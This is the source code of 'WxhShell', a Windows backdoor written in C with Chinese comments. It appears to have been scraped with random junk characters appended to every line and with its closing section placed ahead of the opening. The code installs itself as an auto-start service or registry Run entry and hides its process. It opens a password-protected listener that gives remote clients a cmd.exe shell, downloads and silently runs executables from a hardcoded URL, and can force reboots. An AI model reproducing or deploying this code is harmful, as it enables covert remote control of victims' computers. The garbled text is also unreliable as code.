    if(Boot(SHUTDOWN)) \/E>4)MDy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B*qi_{Gp  
    else { |D'4uN8\  
    closesocket(wsh); lNNv|YiL  
    ExitThread(0); sD<a+Lw}x  
    } ZjT,pOSyb  
    break; `+`Z7  
    } I\hh8abAp  
  // 获取shell l_3`G-`2  
  case 's': {  ,t}vz 7  
    CmdShell(wsh); -_ I _W&  
    closesocket(wsh); -)s qc P  
    ExitThread(0); KTK <gV9:  
    break; (w&F/ynO:  
  } %/EVUN9=  
  // 退出 /TE_W@?^  
  case 'x': { U T>s 5C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M\C"5%2Mu  
    CloseIt(wsh); +_s #2  
    break; .R`5 Qds*l  
    } |yvQ[U~PQ  
  // 离开 2`.cK 3  
  case 'q': { hS_6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?=>+LqP  
    closesocket(wsh); Ytgcs( /$  
    WSACleanup(); $r@ =*(  
    exit(1); R[Ll59-  
    break; | H!28h  
        } KjV:|  
  } "BD~xP(  
  } g! cUF+  
R{RwTN<  
  // 提示信息 R5"K]~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |b[+I?X  
} Rn#KfI:{  
  } $J4 *U  
IOTR/anu  
  return; ~0?mBy!-O  
} Q)"C&) `l  
0YaA`  
// shell模块句柄 k $M]3}$U  
int CmdShell(SOCKET sock) Yj%U >),8  
{ z MLK7+  
STARTUPINFO si; 'AzDP;6qFI  
ZeroMemory(&si,sizeof(si)); Y_}mYvJW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uB |Ss  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m_hN*v Py  
PROCESS_INFORMATION ProcessInfo; $`APHjijN  
char cmdline[]="cmd"; $Vsk Ew"|M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sLh==V;9  
  return 0; t c[n&X  
} D@G\7 KH@  
)64@2 ~4y  
// 自身启动模式 BeCWa>54i  
int StartFromService(void) ^ K|;~}P  
{ &lR 6sb\  
typedef struct L}GC<D:  
{ H&F9J ^rC  
  DWORD ExitStatus; A01AlK_B  
  DWORD PebBaseAddress; Ny_lrfh)[  
  DWORD AffinityMask; Z:ni$7<.  
  DWORD BasePriority; 1[kMOp  
  ULONG UniqueProcessId; nYWvTvZ  
  ULONG InheritedFromUniqueProcessId; whonDG4WP  
}   PROCESS_BASIC_INFORMATION; @vpf[j  
HfcL%b%G8  
PROCNTQSIP NtQueryInformationProcess; CQwL|$)]Y  
G,TM-l_uw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qe#P?[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u7bLZU 0  
!)  S ?m  
  HANDLE             hProcess; ~n[d4qV&  
  PROCESS_BASIC_INFORMATION pbi; CQZgMY1{  
&GNxo$CG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v4?x.I  
  if(NULL == hInst ) return 0; ZPc@Zr`z  
Wf>zDW^"R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); : k7uGD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6`!Fv-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9k9_mjLZ  
c;{Q,"9U  
  if (!NtQueryInformationProcess) return 0; yvgrIdEP  
)Y]{HQd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !(q sD+  
  if(!hProcess) return 0; t^`O{m<  
6``'%S'#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z?>D_NLX6  
iQ4);du  
  CloseHandle(hProcess); H(2!1?N+  
GFfq+=se  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $jm>:YD  
if(hProcess==NULL) return 0; FvN<<&B  
#Pw2Q  
HMODULE hMod; Op"M.]#  
char procName[255]; o8zy^zN$6  
unsigned long cbNeeded; y'(Ne=y  
M(RZ/x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /D5`   
;=geHiQHA  
  CloseHandle(hProcess); !1n8vzs"c  
]BtbWKJBqe  
if(strstr(procName,"services")) return 1; // 以服务启动 6 }4'E  
>RPd$('T  
  return 0; // 注册表启动 BJgW,huLy  
} 53c0 E  
T|6jGZS^|W  
// 主模块 {D? 50Q  
int StartWxhshell(LPSTR lpCmdLine) bKj%s@x  
{ PlF87j (  
  SOCKET wsl; M~WijDj  
BOOL val=TRUE; LUH"  
  int port=0; RG3l.jL  
  struct sockaddr_in door; b3S.-W{p.  
8 %%f%y  
  if(wscfg.ws_autoins) Install(); .~Fp)O:!  
TlI<1/fP}  
port=atoi(lpCmdLine); fBgEnz/  
g8Q5m=O*  
if(port<=0) port=wscfg.ws_port; !Gu%U$d  
BYTnrPA&Z;  
  WSADATA data; <c)+Fno[E_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !lxTX  
\%/#x V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2H/Z_+\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .Q@S #d  
  door.sin_family = AF_INET; 6An9S%:_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TpmwD{c[\  
  door.sin_port = htons(port); !>BZ6gn5  
v^)bhIPe;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +E1I");  
closesocket(wsl); JT "B>y>  
return 1; AS E91T~  
} >ELlnE8  
Vw#_68EybM  
  if(listen(wsl,2) == INVALID_SOCKET) { 6'kS_Zu{<  
closesocket(wsl); c1$ngH0  
return 1; u5 {JQO  
} 89n:)|rWq  
  Wxhshell(wsl); 6(]tYcC  
  WSACleanup(); h G gx  
N;A@' tu8  
return 0; d0aCY  
28/ ADZ  
} hty0Rb[dH  
XYS'.6k(  
// 以NT服务方式启动 aFe`_cnG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {K4+6p  
{ JYrY[',u  
DWORD   status = 0; [q_`X~3  
  DWORD   specificError = 0xfffffff; txZ?=8j_Y  
neXeAU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZAJp%   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; masT>vM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d"5oD@JG:  
  serviceStatus.dwWin32ExitCode     = 0; Y4cYZS47  
  serviceStatus.dwServiceSpecificExitCode = 0; 1"pI^Ddt  
  serviceStatus.dwCheckPoint       = 0; !).}u,*'no  
  serviceStatus.dwWaitHint       = 0; (RUT{)p[  
+2K:qvzZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i^_#%L  
  if (hServiceStatusHandle==0) return; q}/WQ]p} <  
uKz,SqX  
status = GetLastError(); i `s|,"0o  
  if (status!=NO_ERROR) G0`h%  
{ #l4)HV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Kx. X7R  
    serviceStatus.dwCheckPoint       = 0; MZpK~c1`  
    serviceStatus.dwWaitHint       = 0; aM@z^<Ub  
    serviceStatus.dwWin32ExitCode     = status; lqowG!3H  
    serviceStatus.dwServiceSpecificExitCode = specificError; S#-wl2z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %'xb%`t  
    return; :9R=]#uD  
  } *?z0$Kz<,[  
_(d.!qGz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cooUE<a  
  serviceStatus.dwCheckPoint       = 0;  6\u!E~zy  
  serviceStatus.dwWaitHint       = 0; h)6GaJ=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *\wp?s>-t  
} :U d  
rwniOQe  
// 处理NT服务事件,比如:启动、停止 DNR~_3Aq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1=|7mehL%  
{ {^ m(,K_  
switch(fdwControl) ?_oF:*~\  
{ [F_/2+e  
case SERVICE_CONTROL_STOP: ?E9DXg  
  serviceStatus.dwWin32ExitCode = 0; &O)&k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?9HhG?_x  
  serviceStatus.dwCheckPoint   = 0; RP 2_l$  
  serviceStatus.dwWaitHint     = 0; WpS1a440  
  { (faK+z,*6R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YXU|h  
  } $B#6tk~u  
  return; B d^"=+c4  
case SERVICE_CONTROL_PAUSE: Fhv2V,nZ<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T1` |~Z?g-  
  break; W(25TbQ  
case SERVICE_CONTROL_CONTINUE: +&X%<S W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zOHypazOTq  
  break; kWlAY%   
case SERVICE_CONTROL_INTERROGATE: /Y&02L%\3s  
  break; *d(SI<j  
}; @v}B6j b;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LuR,f"%2  
} )jCo%P/  
d'*]ns  
// 标准应用程序主函数 =(EI~N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E"%2)  
{ aYn8 ^  
?f*Q>3S)  
// 获取操作系统版本 >S1)YKgz  
OsIsNt=GetOsVer(); 'q>2t}KG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `^(jm  
`k; KBW  
  // 从命令行安装 =H %-.m'f2  
  if(strpbrk(lpCmdLine,"iI")) Install(); FG%j {_Ez  
 \dl ph  
  // 下载执行文件 z305{B:Y  
if(wscfg.ws_downexe) { <]Wlx`=/D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >sD4R}\})  
  WinExec(wscfg.ws_filenam,SW_HIDE); w-b' LP  
} Vvt  ;  
p0{EQT`tMG  
if(!OsIsNt) { yMc:n "-[  
// 如果时win9x,隐藏进程并且设置为注册表启动 Jz:r7w{4eB  
HideProc(); Bi~:>X\[^6  
StartWxhshell(lpCmdLine); sp QLG_o,J  
} G ){g  
else h{}mBQl  
  if(StartFromService()) [pg}S#A  
  // 以服务方式启动 |!H?+Jj:  
  StartServiceCtrlDispatcher(DispatchTable); {ub/3Uh  
else :%JC^dV(  
  // 普通方式启动 T#!lPH :&h  
  StartWxhshell(lpCmdLine); T;\^#1  
C}?0`!Cc%  
return 0; lFUWV)J\  
} ]h!`IX  
NQ|xM"MqD  
z[#Fog  
r]P,9  
=========================================== Nt:8ogk/  
kax\h  
W3&tJ8*3  
'P laMOy  
4'Xgk8)  
D H^T x  
" J$9:jE-4  
I,ci >/+b  
#include <stdio.h> V &Mf:@y  
#include <string.h> PfG`C5 d  
#include <windows.h> ,WWj-X|+=  
#include <winsock2.h> yg;_.4TpIO  
#include <winsvc.h> TNY4z(r  
#include <urlmon.h> *zVvQ=  
u-DK_^v4M  
#pragma comment (lib, "Ws2_32.lib") Rt(J/%;  
#pragma comment (lib, "urlmon.lib") *Q}[ ]g  
(LJ@S eM;  
#define MAX_USER   100 // 最大客户端连接数 E-ZRG!)[v  
#define BUF_SOCK   200 // sock buffer E1Q0k5@  
#define KEY_BUFF   255 // 输入 buffer e kQrW%\3  
BF8"rq}r0  
#define REBOOT     0   // 重启 X6RQqen3:  
#define SHUTDOWN   1   // 关机 Uh|>Skic4  
GZ }/leR  
#define DEF_PORT   5000 // 监听端口 BRbV7&  
ohc1 ~?3b  
#define REG_LEN     16   // 注册表键长度 Bmo$5$  
#define SVC_LEN     80   // NT服务名长度 VjbG(nB?_  
WW "i  
// 从dll定义API  0=6/yc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nhdTTap&9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0O2n/`'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sI 4yG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U!e6FHj7  
2L\3S ukj  
// wxhshell配置信息 .tF|YP==  
struct WSCFG { {<w +3Va  
  int ws_port;         // 监听端口 BH@b1}  
  char ws_passstr[REG_LEN]; // 口令 UP2.]B!d  
  int ws_autoins;       // 安装标记, 1=yes 0=no */OI *{Q  
  char ws_regname[REG_LEN]; // 注册表键名 r$nkU4N'  
  char ws_svcname[REG_LEN]; // 服务名 h3Fo-]0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 FA>1x*;c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6J%iZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 en9en=n|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _$/ +D:K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^[-> )  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y?Vz(udD  
o;`!kIQ  
}; QLb MPS  
@qK<T  
// default Wxhshell configuration ilEi")b=  
struct WSCFG wscfg={DEF_PORT, b;9n'UX\  
    "xuhuanlingzhe", :kw0y  
    1, O|v (5 8A  
    "Wxhshell", A%ywj'|z  
    "Wxhshell", *,#q'!Hq  
            "WxhShell Service", IftxSaP  
    "Wrsky Windows CmdShell Service", +T_ p8W+j  
    "Please Input Your Password: ", o;J;*~g  
  1, !Qu PG/=X  
  "http://www.wrsky.com/wxhshell.exe", `?o=*OS7Y  
  "Wxhshell.exe" 4/wwn6I}G  
    };  Iao[Pyk  
WPY8C3XO  
// 消息定义模块 #*%fu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %my  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T!( 4QRh[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ER|!KtCSM  
char *msg_ws_ext="\n\rExit."; aqQ o,5U>  
char *msg_ws_end="\n\rQuit."; d$1 #<-yP  
char *msg_ws_boot="\n\rReboot..."; 4nX(:K}>  
char *msg_ws_poff="\n\rShutdown..."; %"7WXOv&z  
char *msg_ws_down="\n\rSave to "; n@B{vyy  
qw:9zYG}qW  
char *msg_ws_err="\n\rErr!"; T_L6 t66I  
char *msg_ws_ok="\n\rOK!"; *Wyl2op6  
0#|7U_n  
char ExeFile[MAX_PATH]; t*+! n.p  
int nUser = 0;  t.3 \/  
HANDLE handles[MAX_USER]; 0K3Hf^>m  
int OsIsNt; ."JzDs   
:|XCnK0  
SERVICE_STATUS       serviceStatus; ` *9EKj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |Is'-g!  
irFc}.dI  
// 函数声明 a%[q |oyR  
int Install(void); )|T`17-  
int Uninstall(void); :{CFTc5:A  
int DownloadFile(char *sURL, SOCKET wsh); '\4fU%  
int Boot(int flag); \JU ~k5j  
void HideProc(void); ABWb>EZ8  
int GetOsVer(void); +rQg7a}  
int Wxhshell(SOCKET wsl); URw!7bTz  
void TalkWithClient(void *cs); q0|Z oP  
int CmdShell(SOCKET sock); z<QIuq  
int StartFromService(void); SL*DK.  
int StartWxhshell(LPSTR lpCmdLine); oYq,u@oM  
OLFt;h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `Yogq)G}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -c$z 2Q)  
92(~'5Qr  
// 数据结构和表定义 FrR9{YTA .  
SERVICE_TABLE_ENTRY DispatchTable[] = 0}-#b7eR  
{ RdkU2Y}V  
{wscfg.ws_svcname, NTServiceMain}, S_T  
{NULL, NULL} kbq:U8+k  
}; T+W3_xISX  
8on[%Vk  
// 自我安装 JFJIls  
int Install(void) oQBiPN+v.3  
{ ^fZGX<fH   
  char svExeFile[MAX_PATH]; D5[VK `4Z  
  HKEY key; n `#+L~X  
  strcpy(svExeFile,ExeFile); G"fdu(.@  
W%zmD Hk~  
// 如果是win9x系统,修改注册表设为自启动 qj;l,Kua  
if(!OsIsNt) { fB[\("+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1HXlHic  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )v-Cj_W5]"  
  RegCloseKey(key); x#o?>5Qg?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;E2~L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (.oaMA"B  
  RegCloseKey(key); [,\i[[<  
  return 0; RR'(9QJ$  
    } E~69^ cd  
  } )ys=+Pz  
} zK /f$}  
else { ^OjvL6 A/p  
%d-`71|lG^  
// 如果是NT以上系统,安装为系统服务 <dJIq"){  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CMKhS,,o  
if (schSCManager!=0) 9M0d+:YJ  
{ +QQ YPEx+  
  SC_HANDLE schService = CreateService Ahd\TH  
  ( x{QBMe`  
  schSCManager, IE@ z@+\(  
  wscfg.ws_svcname, G#g{3}dcK  
  wscfg.ws_svcdisp, ?V6 %>RU  
  SERVICE_ALL_ACCESS, [M<{P5q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (-#rFO5~l  
  SERVICE_AUTO_START, dd19z%  
  SERVICE_ERROR_NORMAL, w+3>DEfz  
  svExeFile, u,!4vKx  
  NULL, CElPU`J,\[  
  NULL, &:C{/QnA  
  NULL, 3P3:F2S R  
  NULL, `L+ ~&M  
  NULL bA0uGLc  
  ); xan/ay>  
  if (schService!=0) &,_?>.\[<  
  { qU}lGf!dVn  
  CloseServiceHandle(schService); U"/yB8!W  
  CloseServiceHandle(schSCManager); ,?t}NZY&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1riBvBT  
  strcat(svExeFile,wscfg.ws_svcname); ;4R =eI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HUD7{6}4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mC% %)F'Zf  
  RegCloseKey(key); <?nB,U  
  return 0; ''%;EW>  
    } *u<rU,C8  
  } giQ{Xrj  
  CloseServiceHandle(schSCManager); h<Jc;ht  
} EI%M Azj}  
} =]WW'~  
@-}D7?  
return 1; QR|XV%$  
} A4}JZi6@  
IsWcz+1n  
// 自我卸载 n=;';(wR[  
int Uninstall(void) `X3Xz!  
{ rO5u~"v]  
  HKEY key; J.*[gt%O|  
mQmBf|Rl  
if(!OsIsNt) {  W{L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;`;G/1]#9  
  RegDeleteValue(key,wscfg.ws_regname); Y>(ZsHu  
  RegCloseKey(key); mL8A2>Gig  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >~.Zr3P6kC  
  RegDeleteValue(key,wscfg.ws_regname); ?,D>+::  
  RegCloseKey(key); .A )\F",X  
  return 0; :~WPY9i`  
  } ],H1  
} NW }>pb9  
} j{-mQTSD  
else { **Qe`}E:  
wBg<Q{J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ev)rOcOU  
if (schSCManager!=0) (ra:?B  
{ 3"HGEUqA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D)f5pEq'  
  if (schService!=0) N)9pz?*V  
  { %"1` NT  
  if(DeleteService(schService)!=0) { NvEm,E\|  
  CloseServiceHandle(schService); 2]?w~qjWm  
  CloseServiceHandle(schSCManager); \.K\YAM<  
  return 0; aW52.X z%8  
  } ;"d?_{>7  
  CloseServiceHandle(schService); M"k3zK,  
  } ?Ry%c6(}  
  CloseServiceHandle(schSCManager); iSSc5ek4  
} 6ctHL<^  
} a7XXhsZ  
?/o2#iJx  
return 1; /%N31   
} ws*~$x?7  
*#9VC)Q  
// 从指定url下载文件 3bT6W, J4T  
int DownloadFile(char *sURL, SOCKET wsh) \O8Y3|<  
{ OqEg{o5 a&  
  HRESULT hr; {^PO3I  
char seps[]= "/"; 2LhfXBWf  
char *token; pDLu+ }@  
char *file; c n\k`8  
char myURL[MAX_PATH]; f_Wkg)g  
char myFILE[MAX_PATH]; +YGw4{\EL  
_A@fP[C  
strcpy(myURL,sURL); N/`TrWVF  
  token=strtok(myURL,seps); G\'u~B/w  
  while(token!=NULL) ` <l/GwtAJ  
  { 2eZk3_w  
    file=token; PfwI@%2  
  token=strtok(NULL,seps); $V`KrA~]  
  } &=+cov(3  
M<SbVP|V "  
GetCurrentDirectory(MAX_PATH,myFILE); el2*\(XT  
strcat(myFILE, "\\"); t 1Ir4  
strcat(myFILE, file); ::3iXk)  
  send(wsh,myFILE,strlen(myFILE),0); h"RP>fZt  
send(wsh,"...",3,0); ? 6yF{!F*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0)6i~MglY  
  if(hr==S_OK) IGh !d?D  
return 0; d- Z+fz  
else Rye ~w6  
return 1; }[=xe(4]D  
I =tyQ`  
} 4 ~MJ4:  
Zq\RNZ}  
// 系统电源模块 2$j Ot}  
int Boot(int flag) 1sIy*z  
{ QK``tWLIg7  
  HANDLE hToken; X]&;8  
  TOKEN_PRIVILEGES tkp; ei+9G,  
Tc'{i#%9j  
  if(OsIsNt) { #f|NM7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'XZI{q2i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A-Q{*{^#  
    tkp.PrivilegeCount = 1; .pB8=_e:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Tdk2436=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0gwm gc/#  
if(flag==REBOOT) { ?d>P+).  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "2#-xOCO  
  return 0; n!l./>N  
} \GbHS*\+  
else { Oet#wp/I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1Rb XM n  
  return 0; !yV,|)y5F  
} Th& Wq  
  } DJD]aI  
  else { V#-qKV  
if(flag==REBOOT) { 5 CY_Ay\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P*0nT  
  return 0; z'\}/k+  
} [0tf Y0  
else { m>*A0&??[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E.H,1 {  
  return 0; .@8m\  
} XL.CJ5y>  
} Z}'F"}QI  
1{hoO<CJ  
return 1; Z3abem<Q  
} p^4;fD  
@qO8Jg"Q  
// win9x进程隐藏模块 #pDGaqeX  
void HideProc(void) Bp$+ F/  
{ t=E|RYC(k  
!CVBG *E^l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D_ Bx>G9  
  if ( hKernel != NULL ) O%fp;Y{`  
  { }Pm(oR'KTJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $_URXI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :9!0 Rm  
    FreeLibrary(hKernel); 9pl_V WrQ  
  } Rvu3Qo+  
~J. Fl[  
return; FVC2XxP  
} <*r<+S   
}n2-*{)x  
// 获取操作系统版本 aaqd:N)  
int GetOsVer(void) O{i_?V_  
{ QGbD=c7  
  OSVERSIONINFO winfo; $!l2=^\3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /n(bThDH  
  GetVersionEx(&winfo); _;J9q}X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O)RzNfI^`N  
  return 1; JV?RgFy  
  else CSX$Pk*  
  return 0; O"J.k&C<,  
} [b k&Nd[  
)QSt7g|OF  
// 客户端句柄模块 ( /x@W`  
int Wxhshell(SOCKET wsl) Gs=a(0 0i?  
{ xv#j 593  
  SOCKET wsh; <zDw& s2  
  struct sockaddr_in client; vN%j-'D\A4  
  DWORD myID; = @Nv:1:r  
b~haP.Cl :  
  while(nUser<MAX_USER) /c$Ht  
{ EYx2IJ  
  int nSize=sizeof(client); q5\LdI2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :oj) eS[Y  
  if(wsh==INVALID_SOCKET) return 1; hRy }G'0  
Tm:#"h\F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MZP><Je&  
if(handles[nUser]==0) `Z7ITvF>  
  closesocket(wsh); $vGEY7,  
else iq^L~RW5e  
  nUser++; !^w\$cw&  
  } 18/@:u{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M(h H#_ $  
;\*Od?1  
  return 0; \(>$mtS:  
} wM4g1H%s  
\]`(xxt1  
// 关闭 socket Tx!m6B`Y  
void CloseIt(SOCKET wsh) R.YGmT'2  
{ ^< /vbF  
closesocket(wsh); >KClH'R2  
nUser--; CMG`'gT  
ExitThread(0); r4NT`&`g?  
} 2E ; %=e  
,^IZ[D>u)  
// 客户端请求句柄 HlL@{<  
void TalkWithClient(void *cs) 2-E71-J  
{ ~"r wP=<}  
\IZ4( Z  
  SOCKET wsh=(SOCKET)cs; (z1%lZ}(  
  char pwd[SVC_LEN]; vYt:}$AE  
  char cmd[KEY_BUFF]; 9c;lTl^4;  
char chr[1]; {5tEsv  
int i,j; vS t=Ax3]  
np\Q&  
  while (nUser < MAX_USER) { tEX~72v  
j_WF38o  
if(wscfg.ws_passstr) { qM:)daS1w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mV(x&`Cx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :XQ  
  //ZeroMemory(pwd,KEY_BUFF); ?a0}^:6  
      i=0; +e]b,9.sR  
  while(i<SVC_LEN) { +$= Wms-z  
OYtus7q<  
  // 设置超时 WZ6{(`;#m  
  fd_set FdRead; a=B0ytNm  
  struct timeval TimeOut; :kx#];2i  
  FD_ZERO(&FdRead); bSmaE7  
  FD_SET(wsh,&FdRead); }NBJ T4R  
  TimeOut.tv_sec=8; IK?$!jh  
  TimeOut.tv_usec=0; UlN|Oy,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &CmkNm_B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2V"gqJHv  
^%X\ }><  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8(f0|@x^  
  pwd=chr[0]; ?{z$ { bD  
  if(chr[0]==0xd || chr[0]==0xa) { 0(g MR  
  pwd=0; u[|S*(P  
  break; U?^|>cMr  
  } 0o=)&%G  
  i++; Z%9^6kdY  
    } dVt@D&  
+95dz?~  
  // 如果是非法用户,关闭 socket %y7wF'_Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ftqW3VW  
} %+! 9  
_]ttKT(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ulSTR f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h%^kA@3F  
Lpbn@y26<  
while(1) { 3L]^x9Cu)  
D&m"~wI  
  ZeroMemory(cmd,KEY_BUFF); >(ww6vk2  
+}0*_VW  
      // 自动支持客户端 telnet标准   eC`f8=V  
  j=0; Jc?ssm\%  
  while(j<KEY_BUFF) { 8=o(nFJw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +2 o|#`)i  
  cmd[j]=chr[0]; h>%JG'DV  
  if(chr[0]==0xa || chr[0]==0xd) { # %y{mn  
  cmd[j]=0; x,c68Q)g  
  break; @Be:+01z  
  } aw"%B-N \  
  j++; /aa;M*Qp  
    } q.QYn.CBZz  
Iw |[*Nu-  
  // 下载文件 ZWW8Hr  
  if(strstr(cmd,"http://")) { i@^`~vj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <0 idG  
  if(DownloadFile(cmd,wsh)) oNsx Fi:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P W<wjf,rQ  
  else J<*Mk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o5x^"#  
  } UnF4RF:A2&  
  else { VEEeQy  
{-`OE  
    switch(cmd[0]) { 7[1 R}G V  
